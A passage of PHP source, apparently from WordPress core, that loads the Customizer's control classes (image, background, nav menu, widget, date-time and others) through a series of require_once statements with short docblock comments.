'/customize/class-wp-customize-image-control.php'; /** * WP_Customize_Background_Image_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php'; /** * WP_Customize_Background_Position_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-position-control.php'; /** * WP_Customize_Cropped_Image_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-cropped-image-control.php'; /** * WP_Customize_Site_Icon_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php'; /** * WP_Customize_Header_Image_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php'; /** * WP_Customize_Theme_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php'; /** * WP_Widget_Area_Customize_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php'; /** * WP_Widget_Form_Customize_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php'; /** * WP_Customize_Nav_Menu_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php'; /** * WP_Customize_Nav_Menu_Item_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php'; /** * WP_Customize_Nav_Menu_Location_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php'; /** * WP_Customize_Nav_Menu_Name_Control class. * * As this file is deprecated, it will trigger a deprecation notice if instantiated. In a subsequent * release, the require_once here will be removed and _deprecated_file() will be called if file is * required at all. * * @deprecated 4.9.0 This file is no longer used due to new menu creation UX. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php'; /** * WP_Customize_Nav_Menu_Locations_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-locations-control.php'; /** * WP_Customize_Nav_Menu_Auto_Add_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php'; /** * WP_Customize_Date_Time_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-date-time-control.php'; /** * WP_Sidebar_Block_Editor_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-sidebar-block-editor-control.php';
Close